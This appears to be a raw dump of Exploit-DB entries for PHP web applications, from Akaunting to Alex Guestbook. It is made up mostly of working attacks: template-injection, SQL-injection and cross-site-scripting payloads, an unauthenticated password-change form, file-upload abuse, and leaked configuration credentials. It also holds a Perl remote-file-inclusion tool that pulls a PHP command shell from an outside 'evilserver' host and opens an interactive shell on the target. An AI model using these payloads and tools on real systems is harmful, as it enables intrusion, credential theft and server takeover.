deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52030
Description: Akaunting 3.1.8 - Server-Side Template Injection (SSTI)
Type: webapps
Platform: php
Date: 2024-06-01
Author: tmrswrr

Exploit:
# Exploit Title: Akaunting 3.1.8 - Server-Side Template Injection (SSTI)
# Exploit Author: tmrswrr
# Date: 30/05/2024
# Vendor: https://akaunting.com/forum
# Software Link: https://akaunting.com/apps/crm
# Vulnerable Version(s): 3.1.8
# Tested : https://www.softaculous.com/apps/erp/Akaunting


1 ) Login with admin cred and go to : Items > New Item
    https://127.0.0.1/Akaunting/1/common/items
2 ) Write SSTI payload : {{7*7}}  Name field , write Sale and Purchase Price random numbers
3 ) Save it 
4 ) You will be see result : 
    49
    

====================================================================================

1 ) Login with admin cred and go to :Settings > Taxes > New Tax
    https://127.0.0.1/Akaunting/1/settings/taxes/1/edit
2 ) Write SSTI payload : {{7*7}}  Name field , write Sale and Purchase Price random numbers
3 ) Save it 
4 ) You will be see result : 
    49
    > {{'a'.toUpperCase()}}
    > A
    > {{'a'.concat('b')}}
    > ab
====================================================================================


1 ) Login with admin cred and go to : Banking > Transactions > New Income
https://127.0.0.1/Akaunting/1/banking/transactions/create?type=income
2 ) Write SSTI payload : {{7*7}}  Description field
3 ) Save it 
4 ) You will be see result : 
    49
    > {{'a'.toUpperCase()}}
    > A
    > {{'a'.concat('b')}}
    > ab
    
=======================================================================================

1 ) Login with admin cred
https://127.0.0.1/Akaunting/1/purchases/vendors/1/edit
2 ) Write SSTI payload : {{7*7}}  Name field
3 ) Save it 
4 ) You will be see result : 
    49
    > {{'a'.toUpperCase()}}
    > A
    > {{'a'.concat('b')}}
    > ab
Exploit-DB #21251
Description: akcms 4.2.4 - Information Disclosure
Type: webapps
Platform: php
Date: 2012-09-11
Author: L0n3ly-H34rT

Exploit:
############################################
### Exploit Title: akcms v4.2.4 Information Disclosure Vulnerability
### Date: 10/09/2012 
### Author: L0n3ly-H34rT 
### Contact: l0n3ly_h34rt@hotmail.com 
### My Site: http://se3c.blogspot.com/ 
### Vendor Link: http://www.akcms.com/
### Software Link: http://download.akcms.com/download/akcms4.2.4.tar.gz
### Version: 4.2.4 ( may be old version is affect ! i don't check )
### Tested on: Linux/Windows 
############################################

# Explanation :

When you install script as first time, it will be generate file log & if we enter here for example :

http://127.0.0.1/akcms4.2.4/logs/

we see two files log:

1- for config log e.g. :

20120910.log

2- for failed login e.g. :

admin20120910.log

if we see first file, we see the name of file as the date when install script, but if we enter the folder and permission of index is on, we can read it ..

or we can brute force of that file by some programmer found in google or you can generate simple script for yourself ..

# P.O.C :

http://127.0.0.1/akcms4.2.4/logs/20120910.log

you will see the information of config like this for example :

16:57:56    127.0.0.1    file=install    $dbtype = 'mysql';
$dbhost = 'localhost';
$dbuser = 'root';
$dbpw = '000000';
$dbname = 'ak';
$tablepre = 'ak';
$charset = 'utf8';
$timedifference = '0';
$template_path = 'ak';
$codekey = 'snGrZU';
$cookiepre = '9x5G74';


############################################

# Greetz to my friendz
Exploit-DB #18293
Description: Akiva WebBoard 8.x - SQL Injection
Type: webapps
Platform: php
Date: 2011-12-30
Author: Alexander Fuchs

Exploit:
# Exploit Title: Akiva Webboard 8.x SQL Injection + Plaintext Passwords 
in Profiles.
# Google Dork: " /Powered by WebBoard 8"/
# Date: 30.12.2011
# Author: Alexander Fuchs
# Software Link: http://www.akiva.com/default.asp?l=1&id=8
# Version: 8.x
# Tested on: Windows, Linux.
# CVE :  Nope.

It is possible to login as administrator with admin'-- as username and 
password.
You can now go in the  admin profil to look at the password which is in  
plaintext in html.
Exploit-DB #34246
Description: AL-Caricatier 2.5 - 'comment.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-25
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/41338/info*

AL-Caricatier is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

AL-Caricatier 2.5 is vulnerable; other versions may be affected. 

http://www.example.com/caricatier/comment.php?op=CatID%3D0&CatName=1<ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>&CaricatierID=1
http://www.example.com/caricatier/comment.php?op=CatID%3D0&CatName=indoushka@hotmail.com[PII_REDACTED]8860&CaricatierID=1
Exploit-DB #27507
Description: AL-Caricatier 2.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-28
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/17289/info

AL-Caricatier is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://example.com/AL-Caricatier/view_caricatier.php?CatName='><script>alert(document.cookie);</script>

http://example.com/AL-Caricatier/view_caricatier.php?CaricatierID='><script>alert(document.cookie);</script>

http://example.com/AL-Caricatier/view_caricatier.php?CatID='><script>alert(document.cookie);</script>
Exploit-DB #11198
Description: al3jeb script - Remote Authentication Bypass
Type: webapps
Platform: php
Date: 2010-01-19
Author: cr4wl3r

Exploit:
                            \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   |      al3jeb script Remote Login Bypass Exploit     |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------

[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Date: 19.01.2010
[!] Remote: yes

[!] Vulnerability Code [login.php] :

<?
session_start();
extract($_POST); 
extract($_GET); 
extract($_SESSION); 
extract($_COOKIE);
?>
<?php
include("Connections/config.php");
if(isset($_POST['Submit']))
{
 $u=$_POST["uname"];
 $p=$_POST["pwd"];
 $r=mysql_query("select * from admins where AdminName='$u' and AdminPass='$p'");
 
if($row=mysql_fetch_array($r))
{
 $_SESSION['AdminName']=$u;
 if(isset($re))
 {
 setcookie("username",$u,time()+3600);
 }
 header("location:index.php");
 
}
}
?>


[!] PoC: [al3jebscript]/login.php

    username : ' or '1=1
    [CREDENTIAL_REDACTED]
Exploit-DB #11185
Description: al3jeb script - Remote Change Password
Type: webapps
Platform: php
Date: 2010-01-18
Author: alnjm33

Exploit:
<!--------
Exploit Title :al3jeb script Remote Change Password Exploit
Author: alnjm33
Software Link: http://www.traidnt.net/vb/attachment.php?attachmentid=354606&d=[PII_REDACTED]
Version: 1.3
Tested on:1.3
MY home : Sec-war.com
:::::::::::::::exploit:::::::::::::::::::::
---------->

<html>
<head>
<title> al3jeb script Remote Change Password Exploit  </title>
</head>
<body text="#00FF00" bgcolor="#000000">
<form action=http://SITE/al3jeb/Change_Pass.php method=post style="text-align: center">
<b>For More </b>
<p><b>visit us</b></p>
<p>
<a href="http://sec-war.com/cc/index.php" style="text-decoration: none; font-weight: 700">
http://sec-war.com/cc/index.php</a></p>
<p>
<br>
User: <input name="adminn" type="text" id="adminn" value="" />
<br>
Pass: <input name="adminp" type="password" id="adminp" value=""  />
<br>
Email <input name="mail" type="text" id="adminm" value="" />
<br>
<input type="submit" name="Submit" value="Sec-War" /><br>
&nbsp;<br>
</p>
</form>
</body>
<html>
<!----------
:::::::::::::::::::::::::::::::
Greetz to :PrEdAtOr -Sh0ot3R - xXx - Mu$L!m-h4ck3r - ahmadso -JaMbA-RoOt_EgY-jago-dz-XR57 all sec-war.com members
:::::::::::::::::::::::::::::
----------->
Exploit-DB #37901
Description: AlamFifa CMS - 'user_name_cookie' SQL Injection
Type: webapps
Platform: php
Date: 2012-09-30
Author: L0n3ly-H34rT

Exploit:
source: https://www.securityfocus.com/bid/55746/info

AlamFifa CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AlamFifa CMS 1.0 Beta is vulnerable; other versions may also be affected. 

user_name_cookie=test' LIMIT 0,1 UNION ALL SELECT 93,93,CONCAT(0x3a6b63733a,0x50766e[PII_REDACTED]5753,0x3a6165683a),93,93,93#;
Exploit-DB #1744
Description: Albinator 2.0.6 - 'Config_rootdir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-03
Author: webDEViL

Exploit:
#!/usr/bin/perl
##
#Albinator Multiple Parameter File Inclusion 
# Bug discovered by VietMafia and r0t
# code copier: webDEViL w3bd3vil[at]gmail.com
#code same as Fast Click <= 2.3.8 Remote File Inclusion exploit
#Dork:"powered by Albinator "
# usage:
# perl wb.pl <target> <cmd shell location> <cmd shell variable>
# perl wb.pl http://vulnerable.com/ http://target.com/cmd.gif cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'eshow.php?Config_rootdir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n"; 
## can change eshow.php to eday.php or forgot.php

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)

{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " Albinator Multiple Parameter File Inclusion\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl wb.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to Albinator ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                          webDEViL w3bd3vil[at]gmail.com \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-05-03]
Exploit-DB #27810
Description: Albinator 2.0.8 - 'dlisting.php?cid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-02
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17826/info

Albinator is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/dlisting.php?cid=1[XSS]
Exploit-DB #27811
Description: Albinator 2.0.8 - 'showpic.php?preloadSlideShow' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-02
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17826/info
 
Albinator is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/showpic.php?aid=21&uuid=175&pid=172&slide_show=1&slide_show_secs=0&preloadSlideShow=[XSS]
Exploit-DB #28779
Description: Album Photo Sans Nom 1.6 - 'Getimg.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-10
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/20441/info

Album Photo Sans Nom is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 1.6; other versions may also be affected.

http://www.example.com/getimg.php?img=http://www.example.com
Exploit-DB #2507
Description: Album Photo Sans Nom 1.6 - Remote Source Disclosure
Type: webapps
Platform: php
Date: 2006-10-10
Author: DarkFig

Exploit:
#
# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
# Credits: DarkFig
# Og.link: http://acid-root.new.fr/poc/13061007.txt
#
# Using http://www.google.com/codesearch
# Few examples about what we can do with a code search engine
# For educational purpose only.
#
# You can use regex in your research, this can be chaotic.
# What's your opinion about the google code search project ?
#

# Affected.scr: Album Photo Sans Nom v1.6
# Download....: http://scripts.bezut.info/releases/APSN/albumV1.6.tgz
# Poc.........: http://victim.pl/getimg.php?img=config.inc.php
# Vuln.code...: Line 47, readfile($_GET['img']);

# milw0rm.com [2006-10-10]
Exploit-DB #30691
Description: Alcatel Lucent Omnivista 4760 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-10-18
Author: Miguel Angel

Exploit:
source: https://www.securityfocus.com/bid/26128/info

OmniVista 4760 is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http://www.somesite.com/?Langue="><script>alert("xss")</script><" 
http://www.somesite.com/php-bin/Webclient.php?action=<script>alert("xss")</script>
Exploit-DB #23065
Description: AldWeb MiniPortail 1.9/2.x - 'LNG' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-08-27
Author: Bahaa Naamneh

Exploit:
source: https://www.securityfocus.com/bid/8504/info

cross-site scripting vulnerability has been reported for miniPortail. The vulnerability exists due to insufficient sanitization of some user-supplied values. Specifically, malicious HTML code is not sanitized from a URI parameter passed to miniPortail.

An attacker could exploit this issue to execute arbitrary HTML code in the browser of a remote user who follows a malicious link. 

http://www.example.com/?lng=<script>
Exploit-DB #10358
Description: AlefMentor 2.0 < 5.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-08
Author: Red-D3v1L

Exploit:
      _ _ _ _  _ _ _   _ _ _ _    _ _ _    __  _ _ _ _               _____1337~h4x0rZ__   _        ___    ___
    /_/Rd_ _ /   _ _\\/   _ _ /   \\      \\<   |/_ _   /         /\\   |     \\    /\\  ||   \\( )   /\\  |  \\  (| |
    \\_ _ _ _/  /_ _ /  /      __ |  ()  / |  |  /   / [d0t]com/@~\\  | (O) /   /+~\\ ||_O_|( )  /0O\\ |   \\  | |
     _ _ _ _\\  \\_ _ \\  \\ _ _ _   |     \\  |  | /   /_ _      /|__|\\ |     \\  /|__|\\|| O |( ) /+__+\\| ^  \\ | |
   /_ _ _ _ _\\ _ _ _/\\ _ _ _ /   |__|\\__\\ |__|/_ _ _ _ _\\   /\\|  |/\\|__|\\__\\( )  ( )|___/(_)/\\|  |/\\__\\__\\|_ >
       
	   
==============================================================================
        [ª] ~ Note : Hacker R0x Lamerz Sux !
==============================================================================
        [ª]  AlefMentor 2.0  <== 5.0 (id) Remote SQL Injection Vulnerability
==============================================================================
    [ª] my home:              [ http://sec-r1z.com ]
    [ª] Script:                    [ AlefMentor 2.0 ]
    [ª] Language:             [ PHP ]
    [ª] Download             [ http://alefmentor.mac.findmysoft.com/ ]
    [ª] Founder:               [ ./Red-D3v1L ]
    [ª] Gr44tz to:             [ sec-r1z# Crew - Hackteach Team - my love :$ ]
    [ª] Fuck to :               [ All LamErZ And n00bz ]
########################################################################

===[ Exploit SQL ]===  

 [ª] [Path]/cource.php?action=pregled&cont_id=[SQL]

 [ª] Live dem0 : 

http://www.site.com/am/cource.php?action=pregled&cont_id=21&courc_id=-2+union+select+version%28%29--


Author: Red-D3v1L <-

###########################################################################
Exploit-DB #12278
Description: Alegro 1.2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-18
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Alegro 1.2.1 SQL Injection Vulnerability 
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com/vb                                                                     
| # Web Site : http://www.alegrocart.com/                                             
| # Dork     : alegrocart                                                                                                           
| # Tested on: windows SP2 Français V.(Pnx2 2.0)       
| # Bug      : SQL Injection                                                                 
======================      Exploit By indoushka       =================================
# Exploit  : 

1- http://localhost/Aligro/?controller=category&path=1&page='



Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : 
Exploit-db Team
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net
------------------------------------------------------------------------------------------------------------------------
Exploit-DB #7158
Description: Alex Article-Engine 1.3.0 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-19
Author: Batter

Exploit:
########################################################################
#
#                        Yellow Flood Organization
#
# Alex article-engine V1.3.0 (fckeditor) Arbitrary File Upload
#
# Source: http://www.alexscriptengine.de/blog/category/article-engine/
#
# Download: http://www.alexscriptengine.de/blog/asedownloads/article-engine/
#
# Discover by: Batter
#
########################################################################



####################
- Vulnerability:
####################

/editors/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?

Command=FileUpload&Type=File&CurrentFolder=/

####################
- Exploit:
####################

http://www.site.com/path/admin/includes/FCKeditor/editor/filemanager/browser/default/connectors/test.html

####################
- how To use:
####################

http://www.site.com/script-folder-name/script-folder-name/images/site_images/uploadet-file.*

####################
- Solution:
####################

Restrict and grant only trusted users access to the resources.

####################
- Greets :
####################

THE.HACKER.ONE , Str0ke

####################

# milw0rm.com [2008-11-19]
Exploit-DB #27980
Description: Alex DownloadEngine 1.4.1 - 'comments.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-05
Author: ajann

Exploit:
source: https://www.securityfocus.com/bid/18293/info

DownloadEngine is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/[path]/comment.php?dlid=&#039;/**/union/**/select/**/0,0,userpassword,username,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/dl1_user/**/where/**/userid=1/*
Exploit-DB #11085
Description: Alex Guestbook - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-11
Author: LionTurk

Exploit:
==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [»] ~ Note : Forever RevengeHack.Com-Ar-Ge.Org Acildi

==============================================================================  

        [»]  @lex Guestbook Multi Vulnerability 

==============================================================================  

   

    [»] Script:             [  @lex Guestbook  ]  

    [»] Language:           [ PHP ]  

    [»] Download:           [ http://scripti.org/script_lex-guestbook_614_26.html] 

    [»] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com & LionTurk.Turkblog.com }

    [»] My Home:            [ RevengeHack.com and Ar-ge.Org ]  

    [»]N0T3    :             Yeni Aciklarimi Bekleyin.


###########################################################################  

   

===[ Exploit And Dork  ]===  

   

  [»] http://server/[dizin]/index.php?lang=english&skin=&debut=0&seeAdd=1&seeNotes=&seeMess=[XSS-Vuln] 
  [»] http://server/[dizin]/setup.php


 


  [»] Powered by @lex Guestbook © - Note to spammers
 




Author:  LionTurk <-  

Bizim Asiret: eXceptioN,CodeInside,CristaL1o,Hack3ra,eXtReMe,By_HKC,TerrorZveng

                 

- Ben Ne Heykirlar Gordum  site heyklicek exploiti yok.Ben Ne exploitler gordum kullancak heykir yok :D
            Kisisel Blogum:LionTurk.Turkblog.com

                                 


###########################################################################